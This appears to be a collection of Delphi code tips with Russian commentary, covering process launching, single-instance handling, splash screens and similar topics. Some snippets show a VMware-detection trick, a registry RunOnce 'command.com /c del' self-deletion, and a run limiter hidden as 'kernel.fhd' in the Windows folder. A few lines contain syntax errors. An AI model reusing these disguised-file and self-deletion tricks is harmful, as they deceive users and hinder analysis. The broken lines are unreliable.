procedure TMainFrm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := True;
if gQueryEnd and not gEndSession then
if MessageDlg('Quitting (your app name). Are you sure?',
mtInformation, mbOKCancel, 0) = mrCancel then
CanClose := False
end;
procedure TForm1.AppControlChange(Sender: TObject);
begin
if Sender is TScreen then
Caption := TScreen(Sender).ActiveForm.ActiveControl.name;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Screen.OnActiveControlChange := AppControlChange;
end;
для этого используется функция ExtractFilePath. Вот примеры её использования:
MessageDlg('program path = ' + ExtractFilePath(Application.ExeName,
mtInformation, [mbOk], 0);
или
function ApplicationPath: string;
begin
Result := ExtractFilePath(ParamStr(0));
end;
16-битная версия:
uses Wintypes, WinProcs, Toolhelp, Classes, Forms;
function WinExecAndWait(Path: string; Visibility: word): word;
var
InstanceID: THandle;
PathLen: integer;
begin
{ Преобразуем строку в тип PChar }
PathLen := Length(Path);
Move(Path[1], Path[0], PathLen);
Path[PathLen] := #00;
{ Пытаемся запустить приложение }
InstanceID := WinExec(@Path, Visibility);
if InstanceID < 32 then { значение меньше 32 указывает на ошибку приложения }
WinExecAndWait := InstanceID
else
begin
repeat
Application.ProcessMessages;
until Application.Terminated or (GetModuleUsage(InstanceID) = 0);
WinExecAndWait := 32;
end;
end;
32-битная версия:
function WinExecAndWait32(FileName: string; Visibility: integer): integer;
var
zAppName: array[0..512] of char;
zCurDir: array[0..255] of char;
WorkDir: string;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
StrPCopy(zAppName, FileName);
GetDir(0, WorkDir);
StrPCopy(zCurDir, WorkDir);
FillChar(StartupInfo, Sizeof(StartupInfo), #0);
StartupInfo.cb := Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := Visibility;
if not CreateProcess(nil,
zAppName, { указатель командной строки }
nil, { указатель на процесс атрибутов безопасности }
nil, { указатель на поток атрибутов безопасности }
false, { флаг родительского обработчика }
CREATE_NEW_CONSOLE or { флаг создания }
NORMAL_PRIORITY_CLASS,
nil, { указатель на новую среду процесса }
nil, { указатель на имя текущей директории }
StartupInfo, { указатель на STARTUPINFO }
ProcessInfo) then
Result := -1 { указатель на PROCESS_INF }
else
begin
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, Result);
end;
end;
Дополнение
Письмо от читателя:
Очень помог совет из API\Разное: "Каким образом, программным путем, можно узнать о завершении запущенной программы?".
Однако хочется внести резонное исправление: вместо
WaitforSingleObject(ProcessInfo.hProcess,INFINITE);
лучше написать:
while WaitforSingleObject(ProcessInfo.hProcess,200)=WAIT_TIMEOUT do
Repaint;
Смысл замены прост: в первом варианте главное окно ждёт завершения вызванного сообщения, не обрабатывая при этом
никаких событий. Вследствие этого главное окно даже не перерисовывается, что выглядит очень некрасиво. Второй
вариант исправляет этот недостаток.
Следующая программа генерирует .EXE-файл размером менее чем 2Кб (1176 байт с моей специальной конфигурацией)...
{$A+,B-,D-,F-,G+,I-,K-,L-,N-,P-,Q-,R-,S-,T-,V-,W-,X+,Y-}
{$M 32768,0}
uses WinTypes, WinProcs;
begin
MessageBox(GetActiveWindow, 'Вася, это ты?', 'Dr.Bob',
MB_ICONINFORMATION OR MB_OK)
end.
{
Call GetSystemMetrics() with the Flag SM_REMOTECONTROL to determine
if the current session is remotely controlled.
Its value is TRUE if the current session is remotely controlled;
FALSE otherwise.
}
function IsRemotelyControlled: Boolean;
const
SM_REMOTECONTROL = $2001; // from WinUser.h
begin
Result := Boolean(GetSystemMetrics(SM_REMOTECONTROL));
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if IsRemotelyControlled then
ShowMessage('Remotely controlled.')
else
ShowMessage('Not Remotely controlled.')
end;
////////////////////////////////////////////////////////////////////////////////
//
// Simple VMware check on i386
//
// Note: There are plenty ways to detect VMware. This short version bases
// on the fact that VMware intercepts IN instructions to port 0x5658 with
// an magic value of 0x564D5868 in EAX. However, this is *NOT* officially
// documented (used by VMware tools to communicate with the host via VM).
//
// Because this might change in future versions - you should look out for
// additional checks (e.g. hardware device IDs, BIOS informations, etc.).
// Newer VMware BIOS has valid SMBIOS informations (you might use my BIOS
// Helper unit to dump the ROM-BIOS (http://www.bendlins.de/nico/delphi).
//
function IsVMwarePresent(): LongBool; stdcall; // platform;
begin
Result := False;
{$IFDEF CPU386}
try
asm
mov eax, 564D5868h
mov ebx, 00000000h
mov ecx, 0000000Ah
mov edx, 00005658h
in eax, dx
cmp ebx, 564D5868h
jne @@exit
mov Result, True
@@exit:
end;
except
Result := False;
end;
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
var
FullProgPath: PChar;
begin
FullProgPath := PChar(Application.ExeName);
// ShowWindow(Form1.handle,SW_HIDE);
WinExec(FullProgPath, SW_SHOW); // Or better use the CreateProcess function
Application.Terminate; // or: Close;
end;
{
I set up a file type (.myfile) to be run by my program, and everything works
okay. The program opens it fine. The problem is, if I double-click some file
on my HD, it opens a new instance of my app, rather than sending the file to
the already opened one. How can I fix this?
}
{
Example for using DDE to open files from Explorer:
http://codecentral.borland.com/codecentral/ccweb.exe/finder
and search for submission ID 17787
}
{That is the comprehensive solution . There are simpler ones but they tend
to get problems if more than one file is opened at once from Explorer. Those
problems can be handled, but it gets a bit complex to do that.
Basically you proceed like this:
In your programs main block (DPR file) you create a named global kernel
object, e.g. a Mutex or memory-mapped file, using a unique name (e.g. a GUID).
The first instance will create this object successfully and hold on to the
objects handle until it closes. All further instances will detect that the
object already exists, so know that they are not supposed to show up to the
user. But they have to pass over any command-line they may have been handed
from Explorer. They do that by sending a WM_COPYDATA message with the command
line contents to the first instances main window. For that they have to find
the windows handle, for which they use FindWindow with the main forms
classname (which should definitely be somewhat more unique than "Form1"!). The
problem is that the first instance may not have gotten around to creating its
main window yet (if more than one file has been opened from Explorer and the
program was not already running). So the second instance may have to wait in a
loop (using Sleep to suspend itself for a little bit) until the first
instances window shows up.
Bits and pieces of this process have been posted many times on the groups in
the past, but i don't remember if a solution covering all bases was among
them. So since it is Sunday and i'm a wee bit bored let's try for a generic
solution. The meat is in the PBOnceOnly unit given further down. I explain its
usage first. Note that this has been tested on Windows 2000 only, and not very
extensively either.
In the projects DPR file you have code looking like this:
}
program OneInstanceDemo;
uses
Forms,
Unit1 in 'Unit1.pas' {OneInstanceDemoMainform},
PBOnceOnly;
{$R *.res}
const
ProcessName = '{53F0DF5B-B69D-40B7-9B2C-A9E515CCFC80}';
begin
if AlreadyRunning(ProcessName, TOneInstanceDemoMainform) then
Exit;
Application.Initialize;
Application.CreateForm(TOneInstanceDemoMainform, OneInstanceDemoMainform);
Application.Run;
end.
{You can create a GUID for the processname via Ctrl-Shift-G in the IDE, just
remove the enclosing square brackets.
The main form needs a message handler for WM_COPYDATA, and also a method to
handle a command-line parameter. The example form only shows the passed
parameter in a memo.}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, Buttons, StdCtrls;
type
TOneInstanceDemoMainform = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
procedure WMCopyData(var msg: TWMCopyData); message WM_COPYDATA;
procedure HandleParameter(const param: string);
public
{ Public declarations }
end;
var
OneInstanceDemoMainform: TOneInstanceDemoMainform;
implementation
uses PBOnceOnly;
{$R *.DFM}
procedure TOneInstanceDemoMainform.FormCreate(Sender: TObject);
begin
memo1.Text := Format('Thread ID: %x'#13#10, [GetCurrentThreadID]);
HandleCommandline(HandleParameter);
end;
procedure TOneInstanceDemoMainform.HandleParameter(const param: string);
begin
memo1.Lines.Add(param);
end;
procedure TOneInstanceDemoMainform.WMCopyData(var msg: TWMCopyData);
begin
HandleSendCommandline(msg.CopyDataStruct^, HandleParameter);
end;
end.
{The work of dissecting the passed commandline is left to the PBOnceOnly unit,
since it "knows" how it packaged the parameters in the other instance. The
technique used by the unit is rather simple: the first instance creates a
memory mapped file and stores its main threads thread ID into this file. It
cannot store the main forms handle since the form has not been created yet
when AlreadyRunning is called. It would be a bad idea anyway since a forms
handle can change over the form objects lifetime. The second instance gets
this handle, uses EnumThreadWindows to find the first instances main form
handle (doing this way avoids problems with the IDE designers form instance
during development), packages the command line and sends it over to the found
window. The second instance will then terminate since AlreadyRunning returns
true in it. It never creates any of the autocreated forms or datamodules and
never enters its message loop.}
{== PBOnceOnly ========================================================}
{: Implements a function to detect a running instance of the program and
(optionally) pass over any command line to the first instances main
window.
@author Dr. Peter Below
@desc Version 1.0 created 2003-02-23
Last modified 2003-02-23
If a command line has to be passed over we need the window handle of the
first instances main window, to send a WM_COPYDATA message to it. Since
the first instance may not have gotten around to creating its main
form window handle yet we retry a couple of times and wait a bit in
between. This process can be configured by setting the MAX_RETRIES and
RETRIES_INTERVAL variables before calling AlreadyRunning. }
{======================================================================}
{$BOOLEVAL OFF} {Unit depends on shortcut boolean evaluation}
unit PBOnceOnly;
interface
uses Windows;
var
{: Specifies how often we retry to find the first instances main
window. }
MAX_RETRIES: Integer = 10;
{: Specifies how long, in milliseconds, we sleep between retries. }
RETRIES_INTERVAL: Integer = 1000;
{-- AlreadyRunning ----------------------------------------------------}
{: Checks for another instance of the program and optionally passes over
this instances command line.
@Param aProcessName is a unique name to be used to identify this program.
@Param aMainformClass is the programs main form class, can be nil.
@Param passCommandline indicates whether to pass the command line, true
by default.
@Param allowMultiuserInstances indicates whether to allow other
instances of the program to run in another user context. Only applies
to Windows terminal server or XP. True by default.
@Returns true if there is another instance running, false if not.
@Precondition The function has not been called already. It must only
be called once per program run.
@Desc Creates a memory mapped file with the passed process name,
optionally with an added 'Global' prefix. If the MMF already existed
we know that this is a second instance. The first instance stores its
main thread ID into the MMF, the second one uses that with
EnumThreadWindows to find the first instances main window and sends
the command line via WM_COPYDATA to this window, if requested.
@Raises Exception if creation of the MMF fails for some reason.
}{ Created 2003-02-23 by P. Below
-----------------------------------------------------------------------}
function AlreadyRunning(const aProcessName: string;
aMainformClass: TClass = nil;
passCommandline: Boolean = true;
allowMultiuserInstances: Boolean = true): Boolean;
type
{: Callback type used by HandleSendCommandline. The callback will
be handed one parameter at a time. }
TParameterEvent = procedure(const aParam: string) of object;
{-- HandleSendCommandline ---------------------------------------------}
{: Dissect a command line passed via WM_COPYDATA from another instance
@Param data contains the data received via WM_COPYDATA.
@Param onParameter is a callback that will be called with every passed
parameter in turn.
@Precondition onParameter <> nil
}{ Created 2003-02-23 by P. Below
-----------------------------------------------------------------------}
procedure HandleSendCommandline(const data: TCopyDataStruct;
onParameter: TParameterEvent);
{-- HandleCommandline -------------------------------------------------}
{: This is a convenience procedure that allows handling of this
instances command line parameters to be done the same way as
a command line send over from another instance.
@Param onParameter will be called for every command line parameter in turn.
@Precondition onParameter <> nil
}{ Created 2003-02-23 by P. Below
-----------------------------------------------------------------------}
procedure HandleCommandline(onParameter: TParameterEvent);
implementation
uses Messages, Classes, Sysutils;
{ The THandledObject and TShareMem classes come from the D6 IPCDemos
demo project. }
type
THandledObject = class(TObject)
protected
FHandle: THandle;
public
destructor Destroy; override;
property Handle: THandle read FHandle;
end;
{ This class simplifies the process of creating a region of shared memory.
In Win32, this is accomplished by using the CreateFileMapping and
MapViewOfFile functions. }
TSharedMem = class(THandledObject)
private
FName: string;
FSize: Integer;
FCreated: Boolean;
FFileView: Pointer;
public
constructor Create(const Name: string; Size: Integer);
destructor Destroy; override;
property Name: string read FName;
property Size: Integer read FSize;
property Buffer: Pointer read FFileView;
property Created: Boolean read FCreated;
end;
procedure Error(const Msg: string);
begin
raise Exception.Create(Msg);
end;
{ THandledObject }
destructor THandledObject.Destroy;
begin
if FHandle <> 0 then
CloseHandle(FHandle);
end;
{ TSharedMem }
constructor TSharedMem.Create(const Name: string; Size: Integer);
begin
try
FName := Name;
FSize := Size;
{ CreateFileMapping, when called with $FFFFFFFF for the handle value,
creates a region of shared memory }
FHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,
Size, PChar(Name));
if FHandle = 0 then abort;
FCreated := GetLastError = 0;
{ We still need to map a pointer to the handle of the shared memory region
}
FFileView := MapViewOfFile(FHandle, FILE_MAP_WRITE, 0, 0, Size);
if FFileView = nil then abort;
except
Error(Format('Error creating shared memory %s (%d)', [Name,
GetLastError]));
end;
end;
destructor TSharedMem.Destroy;
begin
if FFileView <> nil then
UnmapViewOfFile(FFileView);
inherited Destroy;
end;
var
{ This object is destroyed by the unit finalization }
ProcessInfo: TSharedMem = nil;
{ Check if we are running in a terminal client session }
function IsRemoteSession: Boolean;
const
sm_RemoteSession = $1000; { from WinUser.h }
begin
Result := GetSystemMetrics(sm_RemoteSession) <> 0;
end;
{ Check if we are running on XP or a newer version. XP is Windows NT 5.1 }
function IsXP: Boolean;
begin
Result :=
(Sysutils.Win32Platform = VER_PLATFORM_WIN32_NT)
and
((Sysutils.Win32MajorVersion > 5)
or
((Sysutils.Win32MajorVersion = 5)
and
(Sysutils.Win32MinorVersion > 0)
)
);
end;
{ Check if we are running in a Windows terminal client session or on
Windows XP. }
function IsWTSOrXP: Boolean;
begin
Result := IsRemoteSession or IsXP
end;
type
{ Helper class to hold classname and found window handle for
EnumThreadWindows }
TEnumhelper = class
public
FClassname: string;
FWnd: HWND;
constructor Create(const aClassname: string);
function Matches(wnd: HWND): Boolean;
end;
constructor TEnumhelper.Create(const aClassname: string);
begin
inherited Create;
FClassname := aClassname;
end;
function TEnumhelper.Matches(wnd: HWND): Boolean;
var
classname: array[0..127] of Char;
begin
classname[0] := #0;
Windows.GetClassname(wnd, classname, sizeof(classname));
Result := AnsiSametext(Fclassname, classname);
if result then
FWnd := wnd;
end;
function EnumProc(wnd: HWND; helper: TEnumHelper): BOOL; stdcall;
begin
Result := not helper.Matches(wnd);
end;
function FindFirstInstanceMainform(const aClassname: string): HWND;
var
threadID: DWORD;
helper: TEnumHelper;
begin
threadID := PDWORD(Processinfo.FFileView)^;
helper := TEnumHelper.Create(aclassname);
try
EnumThreadWindows(threadID, @EnumProc, Integer(helper));
Result := helper.FWnd;
finally
helper.Free;
end;
end;
function AlreadyRunning(const aProcessName: string;
aMainformClass: TClass = nil;
passCommandline: Boolean = true;
allowMultiuserInstances: Boolean = true): Boolean;
function Processname: string;
begin
if not allowMultiuserInstances and IsWTSorXP then
Result := 'Global\' + aProcessName
else
Result := aProcessName;
end;
procedure StoreThreadID;
begin
PDWORD(ProcessInfo.FFileView)^ := GetCurrentThreadID;
end;
function GetCommandline: string;
var
sl: TStringlist;
i: Integer;
begin
if ParamCount = 1 then
Result := ParamStr(1)
else begin
sl := TStringlist.Create;
try
for i := 1 to ParamCount do
sl.Add(ParamStr(i));
Result := sl.Text;
finally
sl.free;
end; { Finally }
end;
end;
procedure DoPassCommandline;
var
wnd: HWND;
S: string;
copydata: TCopyDataStruct;
retries: Integer;
begin
retries := 0;
repeat
wnd := FindFirstInstanceMainform(aMainformclass.Classname);
if wnd <> 0 then
begin
S := GetCommandline;
copydata.dwData := Paramcount;
copydata.cbData := Length(S) + 1;
copydata.lpData := PChar(S);
SendMessage(wnd, WM_COPYDATA, 0, integer(@copydata));
end
else begin
Inc(retries);
Sleep(RETRIES_INTERVAL);
end;
until (wnd <> 0) or (retries > MAX_RETRIES);
end;
begin
Assert(not Assigned(ProcessInfo),
'Do not call AlreadyRunning more than once!');
ProcessInfo := TSharedMem.Create(Processname, Sizeof(DWORD));
Result := not ProcessInfo.Created;
if Result then
begin
if passCommandline and Assigned(aMainformClass) and (ParamCount > 0) then
DoPassCommandline;
end
else
StoreThreadID;
end;
procedure HandleSendCommandline(const data: TCopyDataStruct;
onParameter: TParameterEvent);
var
i: Integer;
sl: TStringlist;
begin
Assert(Assigned(onParameter), 'OnParameter cannot be nil');
if data.dwData = 1 then
onParameter(PChar(data.lpData))
else
begin
sl := TStringlist.Create;
try
sl.Text := PChar(data.lpData);
for i := 0 to sl.Count - 1 do
onParameter(sl[i]);
finally
sl.Free;
end; { Finally }
end;
end;
procedure HandleCommandline(onParameter: TParameterEvent);
var
i: Integer;
begin
Assert(Assigned(onParameter), 'OnParameter cannot be nil');
for i := 1 to ParamCount do
onParameter(ParamStr(i));
end;
initialization
finalization
ProcessInfo.Free;
end.
Это очень просто.
Создайте форму и поместите на нее логотип, используя компонент Timage. В моем примере я создал форму с логотипом и
именем "logoform". Зайдите в настройки проекта и исключите форму их списка "автосоздаваемых" форм.
Затем в вашем файле PROJECT.DPR где-то сразу после ключевого слова begin напишите примерно следующее:
logoform := TLogoform.Create(nil);
{ ВНИМАНИЕ! show! НЕ showmodal }
logoform.Show;
{ Здесь может размещаться код инициализации приложения,
например, открытие базы данных... }
{ После блока кода, создающего все ваши формы и перед
строчкой Application.Run напишите: }
logoform.Hide;
logoform.Release;
Это будет показывать форму с логотипом до тех пор, пока приложение не выполнит инициализационный код и окончательно не
запустится.
-----------------------------------------------------
Мне также понадобился логотип для одного из моих клиентов, поэтому я загрузил файл из публичной библиотеки и включил в
свое приложение модуль, позволяющий выводить логотип при загрузке программы. В этом модуле было около 150 строк кода,
но у меня свое понятие относительно количества необходимого для этого дела кода, поэтому я просто удалил лишнее, для
которого просто не нашел применения.
После моего хирургического вмешательства осталось всего пять или шесть строк кода, вплетенных в скелет формы. После
сравнения моего кода с демо-проектом, поставляемым с Delphi (MastApp), я понял, что мой код много проще.
Я не хочу обвинять автора в том, что он плохо сделал свою работу. Без его помощи этого кода просто бы не существовало.
Я нахожу, что изучение чужого кода всегда существенно расширяет и дополняет багаж программиста.
Код производит впечатление, что создание окошка с логотипом в Delphi плевое дело. Ну за дело: сначала, с помощью
редактора, создайте форму (лучшим решением будет создание нового проекта в отдельном каталоге) и установите лучшие, на
ваш художественный взгляд, значения таких свойств, как позиция, размеры и границы. Затем создайте обработчик события
OnDeactivate и добавьте единственную строчку кода, в которой мы освобождаем форму. И, последнее, добавьте секцию initialization
с тремя строчками кода, которые создают, выводят и обновляют форму.
Для того, чтобы использовать новое окошко с логотипом, скопируйте получившийся .PAS-файл в каталог с проектом, в котором
вы намереваетесь его использовать, и вставьте ссылку на модуль в самую верхнюю часть секции uses. НЕ добавляйте форму к
проекту.
Ниже приведен пример кода (форма имеет имя SplashForm, модуль обозван как SPLASH). Мой код добавлен между закомментаренных
блоков {>>вставить} и {<<конец вставки}, весь остальной код генерируется Delphi.
type
TSplashForm = class(TForm)
[...labels, bitmaps, и пр., добавляется редактором Delphi...]
procedure FormDeactivate(Sender: TObject);
end;
var
SplashForm: TSplashForm;
implementation
{$R *.DFM}
{ Это шаманское место. Application.Run в нашем случае
вызывает программу деактивации.}
procedure TSplashForm.FormDeactivate(Sender: TObject);
begin
{>>вставить}
Free;
{<<конец вставки}
end;
{>>вставить}
initialization
begin
SplashForm := TSplashForm.Create(nil);
SplashForm.Show;
{ Я не уверен, но причина наличия здесь Update в том,
что, как мне кажется, приложение пока не может работать
c очередью своих сообщений}
SplashForm.Update;
end;
{<<конец вставки}
end.
В головном модуле после строчки USES (.DPR-файл) просто добавьте "SPLASH," (не заключайте это в кавычки). Это все.
Никакой головной боли с таймерами, никаких запусков отдельных приложений. Логотип быстро появляется и остается до тех
пор, пока приложение не начнет свою работу.
--------------------------------------------
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
ULogo in 'ULogo.pas' {LogoForm};
{$R *.RES}
begin
Application.Initialize; {до этого момента никаких изменений}
with TLogoForm.Create(Application) do
try
Show;
Update;
Application.CreateForm(TForm1, Form1);
{GProgress.AddProgress(1); - здесь можно двигать прогресс, если TGauge
или TProgressBar лежат на TLogoForm'е}
{если есть еще формы, то Application.CreateForm(TForm2, Form2); и т.д.}
finally
Free;
end;
Application.Run;
end.
function GetSysFocus: Integer;
var
hFgWin, FgThreadID, hFocusWin: Integer;
begin
hFgWin := GetForegroundWindow;
FgThreadID := GetWindowThreadProcessID(hFgWin, nil);
if AttachThreadInput(GetCurrentThreadID, FgThreadID, True) then
begin
hFocusWin := GetFocus;
Result := GetFocus;
AttachThreadInput(GetCurrentThreadID, FgThreadID, False);
end
else
Result := GetFocus;
end;
Используйте Sleep(Milliseconds). Программа перестает работать на указанное в скобках количество тысячных секунд.
Погрешность на моем компьютере, а он не старый, до 10 мсек. При этом способе ничего не происходит, даже перерисовка.
Чтобы этого избежать можно использовать другой способ.
procedure TForm1.Button1Click(Sender: TObject);
var
t: integer;
begin
t := GetTickCount;
repeat
Application.ProcessMessages
until
GetTickCount - t >= 1000;
Button1.Caption := Button1.Caption + '1';
end;
Программа - камикадзе
Если вам понадобилось, чтобы Ваше приложение самоликвидировалось ;-] после своего выполнения, тогда делайте так:
В разделе uses объявляем модуль Registry:
uses
Registry;
а нажатие кнопки обрабатываем следующим образом:
procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do
begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce', false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;
Всё дело в том, что параметры, заносимые в ключ
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunOnce
удаляются после своего выполнения!
Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses
(в начале модуля) модуль Registry - выглядеть это будет примерно так:
uses
Registry;
А потом по созданию окна напиши следующий код:
procedure TForm1.FormCreate(Sender: TObject);
var
a: TRegistry;
Count: Integer;
begin
if FileExists('c:\Windows\kernel.fhd') = false then
begin
a := TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
WriteInteger('RunCount', 1);
CloseKey;
Free;
end;
FileCreate('c:\Windows\kernel.fhd');
end
else
begin
a:=TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
Count := ReadInteger('RunCount');
CloseKey;
Free;
end;
if Count = 3 then
halt;
else
begin
Inc(Count);
a := TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
WriteInteger('RunCount', Count);
CloseKey;
Free;
end;
FileCreate('c:\Windows\kernel.fhd');
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
CRLF: string;
begin
if GlobalFindAtom('THIS_IS_SOME_OBSCUREE_TEXT') = 0 then
GlobalAddAtom('THIS_IS_SOME_OBSCUREE_TEXT')
else
begin
CRLF := #10 + #13;
ShowMessage('Это приложение может быть запущено только один раз за сессию Windows.' + CRLF +
'Если будет сделана ещё одна попытка запуска, нам придётся отформатировать вам винчестер...');
Halt;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
sFileName: string;
begin
sFileName := 'c:\Windows\kernel.fhd';
if FileExists(sFileName) then
Halt
else
FileCreate(sFileName);
end;
Я пишу программу в Delphi, которая каждый час должна проверять размер файла. Это также предполагает, что в случае
неактивности приложения оно должно работать сторожевым псом в фоновом режиме win 95 и NT. Как мне сделать это...??
Вот некоторый исходный код, который должен делать то, что вы хотите. Я его только что создал и еще не успел проверить,
но что-то подобное я уже делал, так что это должно работать. Код допускает одно предположение, о котором вы должны
отдавать себе отчет. Оно заключается в том, что приложение должно запускатьтся одновременно с Windows (может быть
из группы автозапуска), так как код использует GetTickCount, возвращающий в миллисекундах время с момента старта
системы, это необходимо для ежечасной инициализац ии кода выполнения задачи. По-моему это то, что вам нужно.
Величина, возвращаемая GetTickCount имеет тип DWORD, но Delphi ее хранит как LongInt, поэтому большие значения
могут иметь отрицательную величину (после примерно 25 дней). Данный эффект в алгоритм е проверки наступления
часа неопределен (я действительно не считал это). Аналогично, значение будет повторяться в цикле каждые 49.7
дней и может появиться другой эффект, когда раз в 49.7 дней в одном реальном часе алгоритм сработает дважды.
Надеюсь это ни как не скажется на вашей задаче. Во всяком случае разве это не то, что вы хотели? Успехов!
program Project1;
uses Messages, Windows;
{$R *.RES}
function KeepRunning: Boolean;
var
Msg: TMsg;
begin
Result := True;
while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
if (Msg.Message = WM_QUIT) then
Result := False;
DispatchMessage(Msg);
end;
end;
function OnTheHour: Boolean;
begin
{ Это действительно проверяется в течение одной секунды }
{ (или меньше) для проверки наступления нового часа, }
{ когда нам необходимо запустить нашу задачу на выполнение }
Result := (GetTickCount mod
(1 {hr} * 60 {min} * 60 {sec} * 1000 {msec}) < 1000);
end;
const
filetocheck = 'c:\somedir\somefile.ext';
magicsize = 1000000;
var
f: file;
size: longint;
begin
{ проверка наступления нового часа с момента запуска системы }
while keeprunning do
begin
{ проверяем наступление часа }
if onthehour then
begin
{ открываем файл с размером записи 1 байт }
{ и проверяем его размер }
assignfile(f, filetocheck);
reset(f, 1);
size := filesize(f);
closefile(f);
{ теперь проверяем изменение размера файла }
if (size >= MAGICSIZE) then
begin
{ Предпринимаем какие-то действия }
end;
{ Теперь "сидим" в этом участке кода }
{ и ожидаем очередного часа, здесь можно }
{ предусмотреть выход из программы или иное действие }
while (KeepRunning and OnTheHour) do
{ничего};
end;
end;
end.
Попробуйте запустить программу. Пока компьютер ничего не делает, рисунок на окне все время меняется, но, стоит
загрузить компьютер какой-либо работой, и изменение фона прекращается. В этой программе можно подвигать мышью по
кну – это приведет к сравнительно сложным действиям, поэтому фоновая работа программы временно прекратится.
...
public
Row: integer;
procedure OnIdleProc(Sender: TObject; var Done: Boolean);
...
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnIdle := OnIdleProc;
end;
procedure TForm1.OnIdleProc(Sender: TObject; var Done: Boolean);
var
i: integer;
col: TColor;
Gray: integer;
begin
for i := 0 to Form1.ClientWidth - 1 do
begin
col := Form1.Canvas.Pixels[i, Row];
Gray := GetRValue(col) + round(30 * sin(i / 30 + Row / 50));
Form1.Canvas.Pixels[i, Row] := RGB(Gray, Gray, Gray);
end;
inc(Row);
if (Row = Form1.ClientHeight) then
Row := 0;
Done := false;
end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
var
i: integer;
begin
with Form1.Canvas do
begin
Brush.Style := bsClear;
for i := 0 to 1000 do
begin
Pen.Color := RGB(i, i, i);
Rectangle(X - i, Y - i, X + i, Y + i);
end;
end;
end;
program Clean;
{
The program registers as a explorer extension.
Use rightclick on a Delphiproject directory and choose Clean Delphi files.
Place the executable somewhere in program files and run once.
Dieses Program registriert sich beim Ausfuhren als
Explorer-Erweiterung.
Mit einem Rechtsklick auf ein Delphi Verzeichnis und
einem Klick auf "Clean Delphi files" werden die Verzeichnisse "aufgeraumt".
}
uses
SysUtils, Registry, WinTypes, FileCtrl;
var
dir: string;
const
// HKEY_CLASSES_ROOT
DirExtensionKey = 'Directory\shell\clean';
SubKey = '\command';
procedure PerformAction(const dir, fname: string);
// Set selected attributes for a file.
begin
if not SysUtils.DeleteFile(dir + fname) then
begin
end;
end;
procedure ScanDirectory(const dir, filemask: string);
// Call performaction for every file which looks like filemask
var
SearchRec: TSearchRec;
begin
if not DirectoryExists(dir) then
begin
MessageBox(0, 'Directory not found', 'Clean', mb_ok);
Halt;
end;
if dir <> '' then ChDir(dir);
// Search subdirs ?
if True then
begin
if FindFirst('*.*', faDirectory, SearchRec) = 0 then
repeat
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') and
((SearchRec.Attr and faDirectory) = faDirectory) then
ScanDirectory(SearchRec.Name, filemask);
until (FindNext(SearchRec) <> 0);
SysUtils.FindClose(SearchRec);
end;
// Ennumerate all files in current directory
if FindFirst(filemask, faAnyFile, SearchRec) = 0 then
repeat
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') and
((SearchRec.Attr and faDirectory) = 0) then
PerformAction('', SearchRec.Name);
until (FindNext(SearchRec) <> 0);
SysUtils.FindClose(SearchRec);
// Directory up
Chdir('..');
end;
procedure DoPopupReg;
var
reg: TRegistry;
begin
try
reg := TRegistry.Create;
except
Exit;
end;
if True then
with reg do
begin
RootKey := HKEY_CLASSES_ROOT;
OpenKey(DirExtensionkey, True);
WriteString('', 'Clean Del&phi files');
CloseKey;
OpenKey(DirExtensionkey + SubKey, True);
WriteString('', ParamStr(0) + ' "%1"');
CloseKey;
end
else
with reg do
begin
RootKey := HKEY_CLASSES_ROOT;
DeleteKey(DirExtensionkey);
CloseKey;
end;
reg.Free;
end;
begin
DoPopupReg;
if ParamCount > 0 then dir := ParamStr(1)
else
Exit;
ScanDirectory(dir, '*.dcu');
ScanDirectory(dir, '*.~*');
// You can add more files here
end.
Данная простая процедура создает небольшое диалоговое окно с данными о приложении, взятыми из Version Info в Delphi проекте.
Окно автоматически изменяет свой размер в зависимости от данных Version Info.
{
Данная процедура показывает небольшое диалоговое окно с данными
о программе взятыми из Version Info. Окно автоматически изменяет
свой размер в зависимости от данных Version Info.
Жилин С.В.
jilin@list.ru
}
unit AboutF;
interface
uses
Windows, SysUtils, Graphics, Controls, Forms, StdCtrls, ExtCtrls;
procedure ShowAbout;
implementation
procedure ShowAbout;
var
About: TForm;
S, TS: string;
h, sz, Len: DWORD;
Buf: PChar;
Value: Pointer;
LabelLeft, i: Integer;
begin
S := Application.ExeName;
sz := GetFileVersionInfoSize(PChar(S), h);
if sz > 0 then
begin
Buf := AllocMem(sz);
GetFileVersionInfo(PChar(S), h, sz, Buf);
VerQueryValue(Buf, '\VarFileInfo\Translation', Value, Len);
TS := IntToHex(MakeLong(HiWord(Longint(Value^)), LoWord(Longint(Value^))), 8);
About := TForm.Create(Application);
with About do
try
Caption := 'О программе: ' + Application.Title;
